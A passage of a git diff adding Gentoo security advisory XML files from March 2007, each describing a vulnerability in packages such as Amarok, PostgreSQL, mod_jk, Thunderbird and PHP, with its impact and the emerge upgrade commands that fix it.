+    When viewing a HTML page that renders unsanitized attacker-supplied
+    input in the page title, Konqueror and other parts of KDE will execute
+    arbitrary JavaScript code contained in the page title, allowing for the
+    theft of browser session data or cookies.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All KDElibs users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=kde-base/kdelibs-3.5.5-r8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0537">CVE-2007-0537</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0478">CVE-2007-0478</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 27 Feb 2007 16:04:07 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 27 Feb 2007 16:19:36 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-11.xml b/xml/htdocs/security/en/glsa/glsa-200703-11.xml
new file mode 100644
index 00000000..243fcf0b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-11.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-11">
+  <title>Amarok: User-assisted remote execution of arbitrary code</title>
+  <synopsis>
+    The Magnatune component shipped with Amarok is vulnerable to the injection
+    of arbitrary shell code from a malicious Magnatune server.
+  </synopsis>
+  <product type="ebuild">amarok</product>
+  <announced>March 13, 2007</announced>
+  <revised>March 13, 2007: 01</revised>
+  <bug>166901</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/amarok" auto="yes" arch="*">
+      <unaffected range="ge">1.4.5-r1</unaffected>
+      <vulnerable range="lt">1.4.5-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Amarok is an advanced music player.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Magnatune downloader doesn't quote the "m_currentAlbumFileName"
+    parameter while calling the "unzip" shell command.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A compromised or malicious Magnatune server can remotely execute
+    arbitrary shell code with the rights of the user running Amarok on a
+    client that have previously registered for buying music.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Do not use the Magnatune component of Amarok.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Amarok users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/amarok-1.4.5-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://secunia.com/advisories/24159">SA24159</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 23 Feb 2007 17:45:23 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 27 Feb 2007 13:56:19 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 27 Feb 2007 14:11:31 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-12.xml b/xml/htdocs/security/en/glsa/glsa-200703-12.xml
new file mode 100644
index 00000000..e4fda3a7
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-12.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-12">
+  <title>SILC Server: Denial of Service</title>
+  <synopsis>
+    SILC Server is affected by a Denial of Service vulnerability.
+  </synopsis>
+  <product type="ebuild">silc-server</product>
+  <announced>March 14, 2007</announced>
+  <revised>March 14, 2007: 01</revised>
+  <bug>169599</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-im/silc-server" auto="yes" arch="*">
+      <unaffected range="ge">1.0.2-r1</unaffected>
+      <vulnerable range="lt">1.0.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    SILC Server is a server for the Secure Internet Live Conferencing
+    (SILC) protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    Frank Benkstein discovered a possible NULL pointer dereference in
+    apps/silcd/command.c if a new channel is created without specifying a
+    valid hmac or cipher algorithm name.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could cause the server to crash, resulting in a
+    Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SILC Server users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-im/silc-server-1.0.2-r1&quot;</code>
+  </resolution>
+  <references/>
+  <metadata tag="requester" timestamp="Wed, 07 Mar 2007 14:35:02 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 07 Mar 2007 14:57:46 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 07 Mar 2007 15:20:03 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-13.xml b/xml/htdocs/security/en/glsa/glsa-200703-13.xml
new file mode 100644
index 00000000..1255db92
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-13.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-13">
+  <title>SSH Communications Security's Secure Shell Server: SFTP privilege escalation</title>
+  <synopsis>
+    The SSH Secure Shell Server SFTP function is vulnerable to privilege
+    escalation.
+  </synopsis>
+  <product type="ebuild">net-misc/ssh</product>
+  <announced>March 14, 2007</announced>
+  <revised>March 14, 2007: 01</revised>
+  <bug>168584</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/ssh" auto="yes" arch="*">
+      <vulnerable range="lt">4.3.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The SSH Secure Shell Server from SSH Communications Security
+    (www.ssh.com) is a commercial SSH implementation available free for
+    non-commercial use.
+    </p>
+  </background>
+  <description>
+    <p>
+    The SSH Secure Shell Server contains a format string vulnerability in
+    the SFTP code that handles file transfers (scp2 and sftp2). In some
+    situations, this code passes the accessed filename to the system log.
+    During this operation, an unspecified error could allow uncontrolled
+    stack access.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An authenticated system user may be able to exploit this vulnerability
+    to bypass command restrictions, or run commands as another user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    This package is currently masked, there is no upgrade path for the
+    3.2.x version, and a license must be purchased in order to update to a
+    non-vulnerable version. Because of this, we recommend unmerging this
+    package:
+    </p>
+    <code>
+    # emerge --ask --verbose --unmerge net-misc/ssh</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0705">CVE-2006-0705</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 05 Mar 2007 21:03:07 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 07 Mar 2007 14:57:32 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 09 Mar 2007 13:16:30 +0000">
+    aetius
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-14.xml b/xml/htdocs/security/en/glsa/glsa-200703-14.xml
new file mode 100644
index 00000000..42b31306
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-14.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-14">
+  <title>Asterisk: SIP Denial of Service</title>
+  <synopsis>
+    Asterisk is vulnerable to Denial of Service in the SIP channel.
+  </synopsis>
+  <product type="ebuild">asterisk</product>
+  <announced>March 16, 2007</announced>
+  <revised>March 16, 2007: 01</revised>
+  <bug>169616</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/asterisk" auto="yes" arch="*">
+      <unaffected range="ge">1.2.14-r1</unaffected>
+      <unaffected range="rge">1.0.12-r1</unaffected>
+      <vulnerable range="lt">1.2.14-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Asterisk is an open source implementation of a telephone private branch
+    exchange (PBX).
+    </p>
+  </background>
+  <description>
+    <p>
+    The MU Security Research Team discovered that Asterisk contains a
+    NULL-pointer dereferencing error in the SIP channel when handling
+    request messages.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could cause an Asterisk server listening for SIP
+    messages to crash by sending a specially crafted SIP request message.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Asterisk users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose net-misc/asterisk</code>
+    <p>
+    Note: Asterisk 1.0.x is no longer supported upstream so users should
+    consider upgrading to Asterisk 1.2.x.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1306">CVE-2007-1306</uri>
+    <uri link="http://labs.musecurity.com/advisories/MU-200703-01.txt">MU-200703-01</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 16 Mar 2007 07:59:58 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 16 Mar 2007 10:36:56 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-15.xml b/xml/htdocs/security/en/glsa/glsa-200703-15.xml
new file mode 100644
index 00000000..c911a480
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-15.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-15">
+  <title>PostgreSQL: Multiple vulnerabilities</title>
+  <synopsis>
+    PostgreSQL contains two vulnerabilities that could result in a Denial of
+    Service or unauthorized access to certain information.
+  </synopsis>
+  <product type="ebuild">postgresql</product>
+  <announced>March 16, 2007</announced>
+  <revised>May 28, 2009: 04</revised>
+  <bug>165482</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/postgresql" auto="yes" arch="*">
+      <unaffected range="ge">8.0.11</unaffected>
+      <unaffected range="rge">7.4.17</unaffected>
+      <unaffected range="rge">7.4.16</unaffected>
+      <unaffected range="rge">7.3.19</unaffected>
+      <unaffected range="rge">7.3.13</unaffected>
+      <unaffected range="rge">7.3.21</unaffected>
+      <unaffected range="rge">7.4.19</unaffected>
+      <vulnerable range="lt">8.0.11</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PostgreSQL is an open source object-relational database management
+    system.
+    </p>
+  </background>
+  <description>
+    <p>
+    PostgreSQL does not correctly check the data types of the SQL function
+    arguments under unspecified circumstances nor the format of the
+    provided tables in the query planner.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote authenticated attacker could send specially crafted queries to
+    the server that could result in a server crash and possibly the
+    unauthorized reading of some database content or arbitrary memory.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PostgreSQL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;dev-db/postgresql&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0555">CVE-2007-0555</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0556">CVE-2007-0556</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 09 Mar 2007 22:33:46 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 12 Mar 2007 16:09:31 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 13 Mar 2007 19:55:02 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-16.xml b/xml/htdocs/security/en/glsa/glsa-200703-16.xml
new file mode 100644
index 00000000..44b92e73
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-16.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-16">
+  <title>Apache JK Tomcat Connector: Remote execution of arbitrary code</title>
+  <synopsis>
+    The Apache Tomcat Connector (mod_jk) contains a buffer overflow
+    vulnerability that could result in the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">mod_jk</product>
+  <announced>March 16, 2007</announced>
+  <revised>March 16, 2007: 01</revised>
+  <bug>169433</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apache/mod_jk" auto="yes" arch="*">
+      <unaffected range="ge">1.2.21-r1</unaffected>
+      <vulnerable range="lt">1.2.21-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Apache HTTP server is a very widely used web server. mod_jk
+    provides the JK module for connecting Tomcat and Apache using the ajp13
+    protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    ZDI reported an unsafe memory copy in mod_jk that was discovered by an
+    anonymous researcher in the map_uri_to_worker function of
+    native/common/jk_uri_worker_map.c .
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker can send a long URL request to an Apache server using
+    Tomcat. That can trigger the vulnerability and lead to a stack-based
+    buffer overflow, which could result in the execution of arbitrary code
+    with the permissions of the Apache user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Apache Tomcat users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apache/mod_jk-1.2.21-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0774">CVE-2007-0774</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 06 Mar 2007 16:08:28 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 14 Mar 2007 00:11:00 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 14 Mar 2007 20:16:09 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-17.xml b/xml/htdocs/security/en/glsa/glsa-200703-17.xml
new file mode 100644
index 00000000..65d25d4f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-17.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-17">
+  <title>ulogd: Remote execution of arbitrary code</title>
+  <synopsis>
+    ulogd contains a possible buffer overflow potentially allowing for the
+    remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">ulogd</product>
+  <announced>March 18, 2007</announced>
+  <revised>March 18, 2007: 01</revised>
+  <bug>161882</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-admin/ulogd" auto="yes" arch="*">
+      <unaffected range="ge">1.23-r1</unaffected>
+      <vulnerable range="lt">1.23-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ulogd is a userspace daemon for netfilter related logging.
+    </p>
+  </background>
+  <description>
+    <p>
+    SUSE reported unspecified buffer overflows in ulogd involving the
+    calculation of string lengths.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could trigger a possible buffer overflow through
+    unspecified vectors, potentially leading to the remote execution of
+    arbitrary code with the rights of the user running the ulogd daemon, or
+    more probably leading to the crash of the daemon.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ulogd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-admin/ulogd-1.23-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0460">CVE-2007-0460</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 14 Mar 2007 07:34:19 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 16 Mar 2007 12:57:18 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 18 Mar 2007 21:32:10 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-18.xml b/xml/htdocs/security/en/glsa/glsa-200703-18.xml
new file mode 100644
index 00000000..db6519a9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-18.xml
@@ -0,0 +1,88 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-18">
+  <title>Mozilla Thunderbird: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been reported in Mozilla Thunderbird, some of
+    which may allow user-assisted arbitrary remote code execution.
+  </synopsis>
+  <product type="ebuild">mozilla-thunderbird</product>
+  <announced>March 18, 2007</announced>
+  <revised>March 18, 2007: 01</revised>
+  <bug>165555</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/mozilla-thunderbird" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.10</unaffected>
+      <vulnerable range="lt">1.5.0.10</vulnerable>
+    </package>
+    <package name="mail-client/mozilla-thunderbird-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.10</unaffected>
+      <vulnerable range="lt">1.5.0.10</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla Thunderbird is a popular open-source email client from the
+    Mozilla Project.
+    </p>
+  </background>
+  <description>
+    <p>
+    Georgi Guninski reported a possible integer overflow in the code
+    handling text/enhanced or text/richtext MIME emails. Additionally,
+    various researchers reported errors in the JavaScript engine
+    potentially leading to memory corruption. Additionally, the binary
+    version of Mozilla Thunderbird includes a vulnerable NSS library which
+    contains two possible buffer overflows involving the SSLv2 protocol.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to read a specially crafted email that
+    could trigger one of the vulnerabilities, some of them being related to
+    Mozilla Thunderbird's handling of JavaScript, possibly leading to the
+    execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time for all of these issues, but
+    some of them can be avoided by disabling JavaScript. Note that the
+    execution of JavaScript is disabled by default and enabling it is
+    strongly discouraged.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Thunderbird users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-1.5.0.10&quot;</code>
+    <p>
+    All Mozilla Thunderbird binary users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-bin-1.5.0.10&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0008">CVE-2007-0008</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0009">CVE-2007-0009</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0775">CVE-2007-0775</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0776">CVE-2007-0776</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0777">CVE-2007-0777</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1282">CVE-2007-1282</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 13 Mar 2007 23:29:16 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 14 Mar 2007 00:11:26 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-19.xml b/xml/htdocs/security/en/glsa/glsa-200703-19.xml
new file mode 100644
index 00000000..ab2a3f34
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-19.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-19">
+  <title>LTSP: Authentication bypass in included LibVNCServer code</title>
+  <synopsis>
+    LTSP includes a version of libVNCServer that is vulnerable to an
+    authentication bypass.
+  </synopsis>
+  <product type="ebuild">ltsp</product>
+  <announced>March 18, 2007</announced>
+  <revised>March 18, 2007: 01</revised>
+  <bug>142661</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/ltsp" auto="yes" arch="*">
+      <unaffected range="ge">4.2-r1</unaffected>
+      <vulnerable range="lt">4.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Linux Terminal Server Project adds thin-client support to Linux
+    servers.
+    </p>
+  </background>
+  <description>
+    <p>
+    The LTSP server includes vulnerable LibVNCServer code, which fails to
+    properly validate protocol types effectively letting users decide what
+    protocol to use, such as "Type 1 - None" (GLSA-200608-05). The LTSP VNC
+    server will accept this security type, even if it is not offered by the
+    server.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could exploit this vulnerability to gain unauthorized
+    access with the privileges of the user running the VNC server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All LTSP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/ltsp-4.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2450">CVE-2006-2450</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200608-05.xml">GLSA 200608-05</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 10 Feb 2007 19:11:34 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 10 Feb 2007 23:53:14 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 27 Feb 2007 02:25:26 +0000">
+    aetius
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-20.xml b/xml/htdocs/security/en/glsa/glsa-200703-20.xml
new file mode 100644
index 00000000..3bae4852
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-20.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-20">
+  <title>LSAT: Insecure temporary file creation</title>
+  <synopsis>
+    LSAT insecurely creates temporary files which can lead to symlink attacks
+    allowing a local user to overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">lsat</product>
+  <announced>March 18, 2007</announced>
+  <revised>May 11, 2007: 02</revised>
+  <bug>159542</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-admin/lsat" auto="yes" arch="*">
+      <unaffected range="ge">0.9.5</unaffected>
+      <vulnerable range="lt">0.9.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Linux Security Auditing Tool (LSAT) is a post install security
+    auditor which checks many system configurations and local network
+    settings on the system for common security or configuration errors and
+    for packages that are not needed.
+    </p>
+  </background>
+  <description>
+    <p>
+    LSAT insecurely writes in /tmp with a predictable filename.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A local attacker could create symbolic links in the temporary files
+    directory, pointing to a valid file somewhere on the filesystem. When
+    the LSAT script is executed, this would result in the file being
+    overwritten with the rights of the user running the software, which
+    could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All lsat users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-admin/lsat-0.9.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1500">CVE-2007-1500</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 15 Mar 2007 22:15:51 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 16 Mar 2007 10:34:49 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 16 Mar 2007 11:42:45 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-21.xml b/xml/htdocs/security/en/glsa/glsa-200703-21.xml
new file mode 100644
index 00000000..5f953be5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-21.xml
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-21">
+  <title>PHP: Multiple vulnerabilities</title>
+  <synopsis>
+    PHP contains several vulnerabilities including a heap buffer overflow,
+    potentially leading to the remote execution of arbitrary code under certain
+    conditions.
+  </synopsis>
+  <product type="ebuild">php</product>
+  <announced>March 20, 2007</announced>
+  <revised>March 29, 2008: 03</revised>
+  <bug>153911</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/php" auto="yes" arch="*">
+      <unaffected range="ge">5.2.1-r3</unaffected>
+      <unaffected range="rge">5.1.6-r11</unaffected>
+      <unaffected range="rge">4.4.6</unaffected>
+      <unaffected range="rge">4.4.7</unaffected>
+      <unaffected range="rge">4.4.8_pre20070816</unaffected>
+      <vulnerable range="lt">5.2.1-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PHP is a widely-used general-purpose scripting language that is
+    especially suited for Web development and can be embedded into HTML.
+    </p>
+  </background>
+  <description>
+    <p>
+    Several vulnerabilities were found in PHP by the Hardened-PHP Project
+    and other researchers. These vulnerabilities include a heap-based
+    buffer overflow in htmlentities() and htmlspecialchars() if called with
+    UTF-8 parameters, and an off-by-one error in str_ireplace(). Other
+    vulnerabilities were also found in the PHP4 branch, including possible
+    overflows, stack corruptions and a format string vulnerability in the
+    *print() functions on 64 bit systems.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Remote attackers might be able to exploit these issues in PHP
+    applications making use of the affected functions, potentially
+    resulting in the execution of arbitrary code, Denial of Service,
+    execution of scripted contents in the context of the affected site,
+    security bypass or information leak.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PHP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;dev-lang/php&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5465">CVE-2006-5465</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0906">CVE-2007-0906</uri>
